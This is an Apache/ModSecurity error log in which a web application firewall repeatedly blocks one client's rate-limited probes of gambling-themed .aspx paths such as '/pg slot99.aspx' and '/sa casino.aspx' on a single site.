[Thu Mar 26 16:05:04.248132 2026] [:error] [pid 19818:tid 19826] [client 151.196.18.82:57517] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acTosMzaSnm3d1BeM5WvkAAAAMY"]
[Thu Mar 26 16:05:06.827936 2026] [:error] [pid 31780:tid 31821] [client 151.196.18.82:57539] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acTospJDwZsy5O4ZXEhmxgAAAgE"]
[Thu Mar 26 16:05:07.665786 2026] [:error] [pid 19710:tid 19743] [client 151.196.18.82:57544] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acToswVEWP8Ar68Njk7qEQAAABU"]
[Thu Mar 26 16:05:10.002609 2026] [:error] [pid 19710:tid 19729] [client 151.196.18.82:57558] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "acTotgVEWP8Ar68Njk7qEgAAAAc"]
[Thu Mar 26 16:05:10.858157 2026] [:error] [pid 60829:tid 60833] [client 151.196.18.82:57563] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "acTotvTdjHKeZokybaSb0QAAAQI"]
[Thu Mar 26 16:05:13.635040 2026] [:error] [pid 31780:tid 31834] [client 151.196.18.82:57587] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "acTouZJDwZsy5O4ZXEhm1QAAAg0"]
[Thu Mar 26 16:05:14.471138 2026] [:error] [pid 31670:tid 31681] [client 151.196.18.82:57590] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "acToujXVthXxCnWjOTQ06wAAAUk"]
[Thu Mar 26 16:05:16.976106 2026] [:error] [pid 31778:tid 31797] [client 151.196.18.82:57605] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acTovA3kybI2o-xasmDSogAAAcQ"]
[Thu Mar 26 16:05:17.812304 2026] [:error] [pid 19818:tid 19831] [client 151.196.18.82:57607] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acTovczaSnm3d1BeM5WvmgAAAMs"]
[Thu Mar 26 16:05:20.283761 2026] [:error] [pid 19710:tid 19723] [client 151.196.18.82:57618] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acTowAVEWP8Ar68Njk7qGgAAAAE"]
[Thu Mar 26 16:05:21.121617 2026] [:error] [pid 31778:tid 31816] [client 151.196.18.82:57620] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acTowQ3kybI2o-xasmDSpQAAAdc"]
[Thu Mar 26 16:05:23.644464 2026] [:error] [pid 31670:tid 31673] [client 151.196.18.82:57633] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "acTowzXVthXxCnWjOTQ1BwAAAUE"]
[Thu Mar 26 16:05:24.477293 2026] [:error] [pid 60829:tid 60852] [client 151.196.18.82:57637] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "acToxPTdjHKeZokybaSb2gAAARU"]
[Thu Mar 26 16:05:26.986576 2026] [:error] [pid 31670:tid 31690] [client 151.196.18.82:57649] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acToxjXVthXxCnWjOTQ1DQAAAVI"]
[Thu Mar 26 16:05:27.822868 2026] [:error] [pid 19818:tid 19837] [client 151.196.18.82:57651] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acTox8zaSnm3d1BeM5WvrwAAANE"]
[Thu Mar 26 16:05:30.419867 2026] [:error] [pid 19818:tid 19821] [client 151.196.18.82:57665] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acToyszaSnm3d1BeM5WvvAAAAME"]
[Thu Mar 26 16:05:31.262849 2026] [:error] [pid 19818:tid 19839] [client 151.196.18.82:57669] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acToy8zaSnm3d1BeM5WvxAAAANM"]
[Thu Mar 26 16:05:44.267473 2026] [:error] [pid 31780:tid 31826] [client 151.196.18.82:57693] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acTo2JJDwZsy5O4ZXEhm6QAAAgY"]
[Thu Mar 26 16:05:45.130791 2026] [:error] [pid 60829:tid 60848] [client 151.196.18.82:57705] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acTo2fTdjHKeZokybaSb5gAAARE"]
[Thu Mar 26 16:05:47.597668 2026] [:error] [pid 31780:tid 31825] [client 151.196.18.82:57725] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acTo25JDwZsy5O4ZXEhm7gAAAgU"]
[Thu Mar 26 16:05:48.432773 2026] [:error] [pid 19710:tid 19734] [client 151.196.18.82:57731] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acTo3AVEWP8Ar68Njk7qKAAAAAw"]
[Thu Mar 26 16:06:11.334707 2026] [:error] [pid 31670:tid 31687] [client 151.196.18.82:57749] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acTo8zXVthXxCnWjOTQ1fQAAAU8"]
[Thu Mar 26 16:06:12.168477 2026] [:error] [pid 19818:tid 19843] [client 151.196.18.82:57863] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acTo9MzaSnm3d1BeM5WwVQAAANc"]
[Thu Mar 26 16:06:13.004302 2026] [:error] [pid 19818:tid 19842] [client 151.196.18.82:57865] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acTo9czaSnm3d1BeM5WwWQAAANY"]
[Thu Mar 26 16:06:15.480212 2026] [:error] [pid 31717:tid 31734] [client 151.196.18.82:57872] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acTo97-SCF7YDISDX4_IRwAAAYw"]
[Thu Mar 26 16:06:16.322817 2026] [:error] [pid 19818:tid 19832] [client 151.196.18.82:57881] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acTo-MzaSnm3d1BeM5WwXwAAAMw"]
[Thu Mar 26 16:06:18.824922 2026] [:error] [pid 19710:tid 19735] [client 151.196.18.82:57889] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "acTo-gVEWP8Ar68Njk7qUQAAAA0"]
[Thu Mar 26 16:06:19.662473 2026] [:error] [pid 31717:tid 31725] [client 151.196.18.82:57891] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "acTo-7-SCF7YDISDX4_ISgAAAYM"]
[Thu Mar 26 16:06:22.136350 2026] [:error] [pid 19818:tid 19835] [client 151.196.18.82:57901] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acTo_szaSnm3d1BeM5WwgwAAAM8"]
[Thu Mar 26 16:06:22.975588 2026] [:error] [pid 19712:tid 19777] [client 151.196.18.82:57905] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acTo_tWhKhRNqm23vFMMRgAAAIE"]
[Thu Mar 26 16:06:25.463166 2026] [:error] [pid 31780:tid 31826] [client 151.196.18.82:57917] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acTpAZJDwZsy5O4ZXEhnYQAAAgY"]
[Thu Mar 26 16:06:26.303789 2026] [:error] [pid 31670:tid 31678] [client 151.196.18.82:57924] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acTpAjXVthXxCnWjOTQ1ogAAAUY"]
[Thu Mar 26 16:06:28.791723 2026] [:error] [pid 31670:tid 31696] [client 151.196.18.82:57936] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "acTpBDXVthXxCnWjOTQ1pgAAAVg"]
[Thu Mar 26 16:06:29.635297 2026] [:error] [pid 19818:tid 19839] [client 151.196.18.82:57937] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "acTpBczaSnm3d1BeM5WwsQAAANM"]
[Thu Mar 26 16:06:32.093649 2026] [:error] [pid 19818:tid 19837] [client 151.196.18.82:57948] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "acTpCMzaSnm3d1BeM5WwugAAANE"]
[Thu Mar 26 16:06:32.950920 2026] [:error] [pid 19818:tid 19832] [client 151.196.18.82:57952] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "acTpCMzaSnm3d1BeM5WwwgAAAMw"]
[Thu Mar 26 16:06:35.381801 2026] [:error] [pid 31670:tid 31672] [client 151.196.18.82:57969] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "acTpCzXVthXxCnWjOTQ1swAAAUA"]
[Thu Mar 26 16:06:36.241090 2026] [:error] [pid 31670:tid 31675] [client 151.196.18.82:57977] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "acTpDDXVthXxCnWjOTQ1uAAAAUM"]
[Thu Mar 26 16:06:38.892155 2026] [:error] [pid 19818:tid 19833] [client 151.196.18.82:57994] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "acTpDszaSnm3d1BeM5Ww0wAAAM0"]
[Thu Mar 26 16:06:39.724779 2026] [:error] [pid 19818:tid 19835] [client 151.196.18.82:57997] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "acTpD8zaSnm3d1BeM5Ww2AAAAM8"]
[Thu Mar 26 16:06:42.178446 2026] [:error] [pid 19818:tid 19824] [client 151.196.18.82:58012] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "acTpEszaSnm3d1BeM5Ww6gAAAMQ"]
[Thu Mar 26 16:06:43.013564 2026] [:error] [pid 31778:tid 31809] [client 151.196.18.82:58017] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "acTpEw3kybI2o-xasmDTKgAAAdA"]
[Thu Mar 26 16:06:56.209641 2026] [:error] [pid 19818:tid 19829] [client 151.196.18.82:58041] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "acTpIMzaSnm3d1BeM5WxIQAAAMk"]
[Thu Mar 26 16:06:57.052615 2026] [:error] [pid 31670:tid 31684] [client 151.196.18.82:58056] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "acTpITXVthXxCnWjOTQ12QAAAUw"]
[Thu Mar 26 16:06:59.518133 2026] [:error] [pid 31670:tid 31678] [client 151.196.18.82:58080] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "acTpIzXVthXxCnWjOTQ13gAAAUY"]
[Thu Mar 26 16:07:00.356452 2026] [:error] [pid 19818:tid 19836] [client 151.196.18.82:58090] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "acTpJMzaSnm3d1BeM5WxLQAAANA"]
[Thu Mar 26 16:07:02.670138 2026] [:error] [pid 19818:tid 19843] [client 151.196.18.82:58102] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "acTpJszaSnm3d1BeM5WxPwAAANc"]
[Thu Mar 26 16:07:03.530231 2026] [:error] [pid 31780:tid 31836] [client 151.196.18.82:58109] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "acTpJ5JDwZsy5O4ZXEhnigAAAg8"]
[Thu Mar 26 16:07:05.964740 2026] [:error] [pid 60829:tid 60846] [client 151.196.18.82:58120] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "acTpKfTdjHKeZokybaScPAAAAQ8"]
[Thu Mar 26 16:07:06.817509 2026] [:error] [pid 19710:tid 19722] [client 151.196.18.82:58129] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "acTpKgVEWP8Ar68Njk7qbQAAAAA"]
[Thu Mar 26 16:07:42.241256 2026] [:error] [pid 19710:tid 19724] [client 151.196.18.82:58223] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acTpTgVEWP8Ar68Njk7qiQAAAAI"]
[Thu Mar 26 16:07:43.102488 2026] [:error] [pid 19818:tid 19836] [client 151.196.18.82:58302] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acTpT8zaSnm3d1BeM5WxxQAAANA"]
[Thu Mar 26 16:07:43.944872 2026] [:error] [pid 31778:tid 31809] [client 151.196.18.82:58307] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acTpTw3kybI2o-xasmDTfAAAAdA"]
[Thu Mar 26 16:07:46.339521 2026] [:error] [pid 19711:tid 19757] [client 151.196.18.82:58315] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acTpUmj3l1y81GYfluR_JQAAAEg"]
[Thu Mar 26 16:07:47.178440 2026] [:error] [pid 60829:tid 60833] [client 151.196.18.82:58324] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acTpU_TdjHKeZokybaScUAAAAQI"]
